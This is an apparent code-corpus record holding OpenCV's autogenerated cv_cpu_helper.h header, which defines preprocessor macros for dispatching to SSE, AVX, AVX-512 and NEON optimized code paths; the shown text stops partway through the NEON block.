repo_id
stringlengths
6
101
file_path
stringlengths
2
269
content
stringlengths
367
5.14M
size
int64
367
5.14M
filename
stringlengths
1
248
ext
stringlengths
0
87
lang
stringclasses
88 values
program_lang
stringclasses
232 values
doc_type
stringclasses
5 values
quality_signal
stringlengths
2
1.9k
effective
stringclasses
2 values
hit_map
stringlengths
2
1.4k
0015/ESP32-OpenCV-Projects
esp32/examples/color_code/main/opencv/opencv2/core/cv_cpu_helper.h
// AUTOGENERATED, DO NOT EDIT #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE # define CV_TRY_SSE 1 # define CV_CPU_FORCE_SSE 1 # define CV_CPU_HAS_SUPPORT_SSE 1 # define CV_CPU_CALL_SSE(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_SSE_(fn, args) return (opt_SSE::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE # define CV_TRY_SSE 1 # define CV_CPU_FORCE_SSE 0 # define CV_CPU_HAS_SUPPORT_SSE (cv::checkHardwareSupport(CV_CPU_SSE)) # define CV_CPU_CALL_SSE(fn, args) if (CV_CPU_HAS_SUPPORT_SSE) return (opt_SSE::fn args) # define CV_CPU_CALL_SSE_(fn, args) if (CV_CPU_HAS_SUPPORT_SSE) return (opt_SSE::fn args) #else # define CV_TRY_SSE 0 # define CV_CPU_FORCE_SSE 0 # define CV_CPU_HAS_SUPPORT_SSE 0 # define CV_CPU_CALL_SSE(fn, args) # define CV_CPU_CALL_SSE_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE(fn, args, mode, ...) CV_CPU_CALL_SSE(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE2 # define CV_TRY_SSE2 1 # define CV_CPU_FORCE_SSE2 1 # define CV_CPU_HAS_SUPPORT_SSE2 1 # define CV_CPU_CALL_SSE2(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_SSE2_(fn, args) return (opt_SSE2::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE2 # define CV_TRY_SSE2 1 # define CV_CPU_FORCE_SSE2 0 # define CV_CPU_HAS_SUPPORT_SSE2 (cv::checkHardwareSupport(CV_CPU_SSE2)) # define CV_CPU_CALL_SSE2(fn, args) if (CV_CPU_HAS_SUPPORT_SSE2) return (opt_SSE2::fn args) # define CV_CPU_CALL_SSE2_(fn, args) if (CV_CPU_HAS_SUPPORT_SSE2) return (opt_SSE2::fn args) #else # define CV_TRY_SSE2 0 # define CV_CPU_FORCE_SSE2 0 # define CV_CPU_HAS_SUPPORT_SSE2 0 # define CV_CPU_CALL_SSE2(fn, args) # define CV_CPU_CALL_SSE2_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE2(fn, args, mode, ...) CV_CPU_CALL_SSE2(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE3 # define CV_TRY_SSE3 1 # define CV_CPU_FORCE_SSE3 1 # define CV_CPU_HAS_SUPPORT_SSE3 1 # define CV_CPU_CALL_SSE3(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_SSE3_(fn, args) return (opt_SSE3::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE3 # define CV_TRY_SSE3 1 # define CV_CPU_FORCE_SSE3 0 # define CV_CPU_HAS_SUPPORT_SSE3 (cv::checkHardwareSupport(CV_CPU_SSE3)) # define CV_CPU_CALL_SSE3(fn, args) if (CV_CPU_HAS_SUPPORT_SSE3) return (opt_SSE3::fn args) # define CV_CPU_CALL_SSE3_(fn, args) if (CV_CPU_HAS_SUPPORT_SSE3) return (opt_SSE3::fn args) #else # define CV_TRY_SSE3 0 # define CV_CPU_FORCE_SSE3 0 # define CV_CPU_HAS_SUPPORT_SSE3 0 # define CV_CPU_CALL_SSE3(fn, args) # define CV_CPU_CALL_SSE3_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE3(fn, args, mode, ...) CV_CPU_CALL_SSE3(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSSE3 # define CV_TRY_SSSE3 1 # define CV_CPU_FORCE_SSSE3 1 # define CV_CPU_HAS_SUPPORT_SSSE3 1 # define CV_CPU_CALL_SSSE3(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_SSSE3_(fn, args) return (opt_SSSE3::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSSE3 # define CV_TRY_SSSE3 1 # define CV_CPU_FORCE_SSSE3 0 # define CV_CPU_HAS_SUPPORT_SSSE3 (cv::checkHardwareSupport(CV_CPU_SSSE3)) # define CV_CPU_CALL_SSSE3(fn, args) if (CV_CPU_HAS_SUPPORT_SSSE3) return (opt_SSSE3::fn args) # define CV_CPU_CALL_SSSE3_(fn, args) if (CV_CPU_HAS_SUPPORT_SSSE3) return (opt_SSSE3::fn args) #else # define CV_TRY_SSSE3 0 # define CV_CPU_FORCE_SSSE3 0 # define CV_CPU_HAS_SUPPORT_SSSE3 0 # define CV_CPU_CALL_SSSE3(fn, args) # define CV_CPU_CALL_SSSE3_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSSE3(fn, args, mode, ...) CV_CPU_CALL_SSSE3(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE4_1 # define CV_TRY_SSE4_1 1 # define CV_CPU_FORCE_SSE4_1 1 # define CV_CPU_HAS_SUPPORT_SSE4_1 1 # define CV_CPU_CALL_SSE4_1(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_SSE4_1_(fn, args) return (opt_SSE4_1::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE4_1 # define CV_TRY_SSE4_1 1 # define CV_CPU_FORCE_SSE4_1 0 # define CV_CPU_HAS_SUPPORT_SSE4_1 (cv::checkHardwareSupport(CV_CPU_SSE4_1)) # define CV_CPU_CALL_SSE4_1(fn, args) if (CV_CPU_HAS_SUPPORT_SSE4_1) return (opt_SSE4_1::fn args) # define CV_CPU_CALL_SSE4_1_(fn, args) if (CV_CPU_HAS_SUPPORT_SSE4_1) return (opt_SSE4_1::fn args) #else # define CV_TRY_SSE4_1 0 # define CV_CPU_FORCE_SSE4_1 0 # define CV_CPU_HAS_SUPPORT_SSE4_1 0 # define CV_CPU_CALL_SSE4_1(fn, args) # define CV_CPU_CALL_SSE4_1_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE4_1(fn, args, mode, ...) CV_CPU_CALL_SSE4_1(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_SSE4_2 # define CV_TRY_SSE4_2 1 # define CV_CPU_FORCE_SSE4_2 1 # define CV_CPU_HAS_SUPPORT_SSE4_2 1 # define CV_CPU_CALL_SSE4_2(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_SSE4_2_(fn, args) return (opt_SSE4_2::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_SSE4_2 # define CV_TRY_SSE4_2 1 # define CV_CPU_FORCE_SSE4_2 0 # define CV_CPU_HAS_SUPPORT_SSE4_2 (cv::checkHardwareSupport(CV_CPU_SSE4_2)) # define CV_CPU_CALL_SSE4_2(fn, args) if (CV_CPU_HAS_SUPPORT_SSE4_2) return (opt_SSE4_2::fn args) # define CV_CPU_CALL_SSE4_2_(fn, args) if (CV_CPU_HAS_SUPPORT_SSE4_2) return (opt_SSE4_2::fn args) #else # define CV_TRY_SSE4_2 0 # define CV_CPU_FORCE_SSE4_2 0 # define CV_CPU_HAS_SUPPORT_SSE4_2 0 # define CV_CPU_CALL_SSE4_2(fn, args) # define CV_CPU_CALL_SSE4_2_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_SSE4_2(fn, args, mode, ...) CV_CPU_CALL_SSE4_2(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_POPCNT # define CV_TRY_POPCNT 1 # define CV_CPU_FORCE_POPCNT 1 # define CV_CPU_HAS_SUPPORT_POPCNT 1 # define CV_CPU_CALL_POPCNT(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_POPCNT_(fn, args) return (opt_POPCNT::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_POPCNT # define CV_TRY_POPCNT 1 # define CV_CPU_FORCE_POPCNT 0 # define CV_CPU_HAS_SUPPORT_POPCNT (cv::checkHardwareSupport(CV_CPU_POPCNT)) # define CV_CPU_CALL_POPCNT(fn, args) if (CV_CPU_HAS_SUPPORT_POPCNT) return (opt_POPCNT::fn args) # define CV_CPU_CALL_POPCNT_(fn, args) if (CV_CPU_HAS_SUPPORT_POPCNT) return (opt_POPCNT::fn args) #else # define CV_TRY_POPCNT 0 # define CV_CPU_FORCE_POPCNT 0 # define CV_CPU_HAS_SUPPORT_POPCNT 0 # define CV_CPU_CALL_POPCNT(fn, args) # define CV_CPU_CALL_POPCNT_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_POPCNT(fn, args, mode, ...) CV_CPU_CALL_POPCNT(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX # define CV_TRY_AVX 1 # define CV_CPU_FORCE_AVX 1 # define CV_CPU_HAS_SUPPORT_AVX 1 # define CV_CPU_CALL_AVX(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX_(fn, args) return (opt_AVX::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX # define CV_TRY_AVX 1 # define CV_CPU_FORCE_AVX 0 # define CV_CPU_HAS_SUPPORT_AVX (cv::checkHardwareSupport(CV_CPU_AVX)) # define CV_CPU_CALL_AVX(fn, args) if (CV_CPU_HAS_SUPPORT_AVX) return (opt_AVX::fn args) # define CV_CPU_CALL_AVX_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX) return (opt_AVX::fn args) #else # define CV_TRY_AVX 0 # define CV_CPU_FORCE_AVX 0 # define CV_CPU_HAS_SUPPORT_AVX 0 # define CV_CPU_CALL_AVX(fn, args) # define CV_CPU_CALL_AVX_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX(fn, args, mode, ...) CV_CPU_CALL_AVX(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_FP16 # define CV_TRY_FP16 1 # define CV_CPU_FORCE_FP16 1 # define CV_CPU_HAS_SUPPORT_FP16 1 # define CV_CPU_CALL_FP16(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_FP16_(fn, args) return (opt_FP16::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_FP16 # define CV_TRY_FP16 1 # define CV_CPU_FORCE_FP16 0 # define CV_CPU_HAS_SUPPORT_FP16 (cv::checkHardwareSupport(CV_CPU_FP16)) # define CV_CPU_CALL_FP16(fn, args) if (CV_CPU_HAS_SUPPORT_FP16) return (opt_FP16::fn args) # define CV_CPU_CALL_FP16_(fn, args) if (CV_CPU_HAS_SUPPORT_FP16) return (opt_FP16::fn args) #else # define CV_TRY_FP16 0 # define CV_CPU_FORCE_FP16 0 # define CV_CPU_HAS_SUPPORT_FP16 0 # define CV_CPU_CALL_FP16(fn, args) # define CV_CPU_CALL_FP16_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_FP16(fn, args, mode, ...) CV_CPU_CALL_FP16(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX2 # define CV_TRY_AVX2 1 # define CV_CPU_FORCE_AVX2 1 # define CV_CPU_HAS_SUPPORT_AVX2 1 # define CV_CPU_CALL_AVX2(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX2_(fn, args) return (opt_AVX2::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX2 # define CV_TRY_AVX2 1 # define CV_CPU_FORCE_AVX2 0 # define CV_CPU_HAS_SUPPORT_AVX2 (cv::checkHardwareSupport(CV_CPU_AVX2)) # define CV_CPU_CALL_AVX2(fn, args) if (CV_CPU_HAS_SUPPORT_AVX2) return (opt_AVX2::fn args) # define CV_CPU_CALL_AVX2_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX2) return (opt_AVX2::fn args) #else # define CV_TRY_AVX2 0 # define CV_CPU_FORCE_AVX2 0 # define CV_CPU_HAS_SUPPORT_AVX2 0 # define CV_CPU_CALL_AVX2(fn, args) # define CV_CPU_CALL_AVX2_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX2(fn, args, mode, ...) CV_CPU_CALL_AVX2(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_FMA3 # define CV_TRY_FMA3 1 # define CV_CPU_FORCE_FMA3 1 # define CV_CPU_HAS_SUPPORT_FMA3 1 # define CV_CPU_CALL_FMA3(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_FMA3_(fn, args) return (opt_FMA3::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_FMA3 # define CV_TRY_FMA3 1 # define CV_CPU_FORCE_FMA3 0 # define CV_CPU_HAS_SUPPORT_FMA3 (cv::checkHardwareSupport(CV_CPU_FMA3)) # define CV_CPU_CALL_FMA3(fn, args) if (CV_CPU_HAS_SUPPORT_FMA3) return (opt_FMA3::fn args) # define CV_CPU_CALL_FMA3_(fn, args) if (CV_CPU_HAS_SUPPORT_FMA3) return (opt_FMA3::fn args) #else # define CV_TRY_FMA3 0 # define CV_CPU_FORCE_FMA3 0 # define CV_CPU_HAS_SUPPORT_FMA3 0 # define CV_CPU_CALL_FMA3(fn, args) # define CV_CPU_CALL_FMA3_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_FMA3(fn, args, mode, ...) CV_CPU_CALL_FMA3(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX_512F # define CV_TRY_AVX_512F 1 # define CV_CPU_FORCE_AVX_512F 1 # define CV_CPU_HAS_SUPPORT_AVX_512F 1 # define CV_CPU_CALL_AVX_512F(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX_512F_(fn, args) return (opt_AVX_512F::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX_512F # define CV_TRY_AVX_512F 1 # define CV_CPU_FORCE_AVX_512F 0 # define CV_CPU_HAS_SUPPORT_AVX_512F (cv::checkHardwareSupport(CV_CPU_AVX_512F)) # define CV_CPU_CALL_AVX_512F(fn, args) if (CV_CPU_HAS_SUPPORT_AVX_512F) return (opt_AVX_512F::fn args) # define CV_CPU_CALL_AVX_512F_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX_512F) return (opt_AVX_512F::fn args) #else # define CV_TRY_AVX_512F 0 # define CV_CPU_FORCE_AVX_512F 0 # define CV_CPU_HAS_SUPPORT_AVX_512F 0 # define CV_CPU_CALL_AVX_512F(fn, args) # define CV_CPU_CALL_AVX_512F_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX_512F(fn, args, mode, ...) CV_CPU_CALL_AVX_512F(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX512_COMMON # define CV_TRY_AVX512_COMMON 1 # define CV_CPU_FORCE_AVX512_COMMON 1 # define CV_CPU_HAS_SUPPORT_AVX512_COMMON 1 # define CV_CPU_CALL_AVX512_COMMON(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX512_COMMON_(fn, args) return (opt_AVX512_COMMON::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX512_COMMON # define CV_TRY_AVX512_COMMON 1 # define CV_CPU_FORCE_AVX512_COMMON 0 # define CV_CPU_HAS_SUPPORT_AVX512_COMMON (cv::checkHardwareSupport(CV_CPU_AVX512_COMMON)) # define CV_CPU_CALL_AVX512_COMMON(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_COMMON) return (opt_AVX512_COMMON::fn args) # define CV_CPU_CALL_AVX512_COMMON_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_COMMON) return (opt_AVX512_COMMON::fn args) #else # define CV_TRY_AVX512_COMMON 0 # define CV_CPU_FORCE_AVX512_COMMON 0 # define CV_CPU_HAS_SUPPORT_AVX512_COMMON 0 # define CV_CPU_CALL_AVX512_COMMON(fn, args) # define CV_CPU_CALL_AVX512_COMMON_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX512_COMMON(fn, args, mode, ...) CV_CPU_CALL_AVX512_COMMON(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX512_KNL # define CV_TRY_AVX512_KNL 1 # define CV_CPU_FORCE_AVX512_KNL 1 # define CV_CPU_HAS_SUPPORT_AVX512_KNL 1 # define CV_CPU_CALL_AVX512_KNL(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX512_KNL_(fn, args) return (opt_AVX512_KNL::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX512_KNL # define CV_TRY_AVX512_KNL 1 # define CV_CPU_FORCE_AVX512_KNL 0 # define CV_CPU_HAS_SUPPORT_AVX512_KNL (cv::checkHardwareSupport(CV_CPU_AVX512_KNL)) # define CV_CPU_CALL_AVX512_KNL(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_KNL) return (opt_AVX512_KNL::fn args) # define CV_CPU_CALL_AVX512_KNL_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_KNL) return (opt_AVX512_KNL::fn args) #else # define CV_TRY_AVX512_KNL 0 # define CV_CPU_FORCE_AVX512_KNL 0 # define CV_CPU_HAS_SUPPORT_AVX512_KNL 0 # define CV_CPU_CALL_AVX512_KNL(fn, args) # define CV_CPU_CALL_AVX512_KNL_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX512_KNL(fn, args, mode, ...) CV_CPU_CALL_AVX512_KNL(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX512_KNM # define CV_TRY_AVX512_KNM 1 # define CV_CPU_FORCE_AVX512_KNM 1 # define CV_CPU_HAS_SUPPORT_AVX512_KNM 1 # define CV_CPU_CALL_AVX512_KNM(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX512_KNM_(fn, args) return (opt_AVX512_KNM::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX512_KNM # define CV_TRY_AVX512_KNM 1 # define CV_CPU_FORCE_AVX512_KNM 0 # define CV_CPU_HAS_SUPPORT_AVX512_KNM (cv::checkHardwareSupport(CV_CPU_AVX512_KNM)) # define CV_CPU_CALL_AVX512_KNM(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_KNM) return (opt_AVX512_KNM::fn args) # define CV_CPU_CALL_AVX512_KNM_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_KNM) return (opt_AVX512_KNM::fn args) #else # define CV_TRY_AVX512_KNM 0 # define CV_CPU_FORCE_AVX512_KNM 0 # define CV_CPU_HAS_SUPPORT_AVX512_KNM 0 # define CV_CPU_CALL_AVX512_KNM(fn, args) # define CV_CPU_CALL_AVX512_KNM_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX512_KNM(fn, args, mode, ...) CV_CPU_CALL_AVX512_KNM(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX512_SKX # define CV_TRY_AVX512_SKX 1 # define CV_CPU_FORCE_AVX512_SKX 1 # define CV_CPU_HAS_SUPPORT_AVX512_SKX 1 # define CV_CPU_CALL_AVX512_SKX(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX512_SKX_(fn, args) return (opt_AVX512_SKX::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX512_SKX # define CV_TRY_AVX512_SKX 1 # define CV_CPU_FORCE_AVX512_SKX 0 # define CV_CPU_HAS_SUPPORT_AVX512_SKX (cv::checkHardwareSupport(CV_CPU_AVX512_SKX)) # define CV_CPU_CALL_AVX512_SKX(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_SKX) return (opt_AVX512_SKX::fn args) # define CV_CPU_CALL_AVX512_SKX_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_SKX) return (opt_AVX512_SKX::fn args) #else # define CV_TRY_AVX512_SKX 0 # define CV_CPU_FORCE_AVX512_SKX 0 # define CV_CPU_HAS_SUPPORT_AVX512_SKX 0 # define CV_CPU_CALL_AVX512_SKX(fn, args) # define CV_CPU_CALL_AVX512_SKX_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX512_SKX(fn, args, mode, ...) CV_CPU_CALL_AVX512_SKX(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX512_CNL # define CV_TRY_AVX512_CNL 1 # define CV_CPU_FORCE_AVX512_CNL 1 # define CV_CPU_HAS_SUPPORT_AVX512_CNL 1 # define CV_CPU_CALL_AVX512_CNL(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX512_CNL_(fn, args) return (opt_AVX512_CNL::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX512_CNL # define CV_TRY_AVX512_CNL 1 # define CV_CPU_FORCE_AVX512_CNL 0 # define CV_CPU_HAS_SUPPORT_AVX512_CNL (cv::checkHardwareSupport(CV_CPU_AVX512_CNL)) # define CV_CPU_CALL_AVX512_CNL(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_CNL) return (opt_AVX512_CNL::fn args) # define CV_CPU_CALL_AVX512_CNL_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_CNL) return (opt_AVX512_CNL::fn args) #else # define CV_TRY_AVX512_CNL 0 # define CV_CPU_FORCE_AVX512_CNL 0 # define CV_CPU_HAS_SUPPORT_AVX512_CNL 0 # define CV_CPU_CALL_AVX512_CNL(fn, args) # define CV_CPU_CALL_AVX512_CNL_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX512_CNL(fn, args, mode, ...) CV_CPU_CALL_AVX512_CNL(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX512_CLX # define CV_TRY_AVX512_CLX 1 # define CV_CPU_FORCE_AVX512_CLX 1 # define CV_CPU_HAS_SUPPORT_AVX512_CLX 1 # define CV_CPU_CALL_AVX512_CLX(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX512_CLX_(fn, args) return (opt_AVX512_CLX::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX512_CLX # define CV_TRY_AVX512_CLX 1 # define CV_CPU_FORCE_AVX512_CLX 0 # define CV_CPU_HAS_SUPPORT_AVX512_CLX (cv::checkHardwareSupport(CV_CPU_AVX512_CLX)) # define CV_CPU_CALL_AVX512_CLX(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_CLX) return (opt_AVX512_CLX::fn args) # define CV_CPU_CALL_AVX512_CLX_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_CLX) return (opt_AVX512_CLX::fn args) #else # define CV_TRY_AVX512_CLX 0 # define CV_CPU_FORCE_AVX512_CLX 0 # define CV_CPU_HAS_SUPPORT_AVX512_CLX 0 # define CV_CPU_CALL_AVX512_CLX(fn, args) # define CV_CPU_CALL_AVX512_CLX_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX512_CLX(fn, args, mode, ...) CV_CPU_CALL_AVX512_CLX(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_AVX512_ICL # define CV_TRY_AVX512_ICL 1 # define CV_CPU_FORCE_AVX512_ICL 1 # define CV_CPU_HAS_SUPPORT_AVX512_ICL 1 # define CV_CPU_CALL_AVX512_ICL(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_AVX512_ICL_(fn, args) return (opt_AVX512_ICL::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_AVX512_ICL # define CV_TRY_AVX512_ICL 1 # define CV_CPU_FORCE_AVX512_ICL 0 # define CV_CPU_HAS_SUPPORT_AVX512_ICL (cv::checkHardwareSupport(CV_CPU_AVX512_ICL)) # define CV_CPU_CALL_AVX512_ICL(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_ICL) return (opt_AVX512_ICL::fn args) # define CV_CPU_CALL_AVX512_ICL_(fn, args) if (CV_CPU_HAS_SUPPORT_AVX512_ICL) return (opt_AVX512_ICL::fn args) #else # define CV_TRY_AVX512_ICL 0 # define CV_CPU_FORCE_AVX512_ICL 0 # define CV_CPU_HAS_SUPPORT_AVX512_ICL 0 # define CV_CPU_CALL_AVX512_ICL(fn, args) # define CV_CPU_CALL_AVX512_ICL_(fn, args) #endif #define __CV_CPU_DISPATCH_CHAIN_AVX512_ICL(fn, args, mode, ...) CV_CPU_CALL_AVX512_ICL(fn, args); __CV_EXPAND(__CV_CPU_DISPATCH_CHAIN_ ## mode(fn, args, __VA_ARGS__)) #if !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_COMPILE_NEON # define CV_TRY_NEON 1 # define CV_CPU_FORCE_NEON 1 # define CV_CPU_HAS_SUPPORT_NEON 1 # define CV_CPU_CALL_NEON(fn, args) return (cpu_baseline::fn args) # define CV_CPU_CALL_NEON_(fn, args) return (opt_NEON::fn args) #elif !defined CV_DISABLE_OPTIMIZATION && defined CV_ENABLE_INTRINSICS && defined CV_CPU_DISPATCH_COMPILE_NEON # define CV_TRY_NEON 1 # define CV_CPU_FORCE_NEON 0 # define CV_CPU_HAS_SUPPORT_NEON 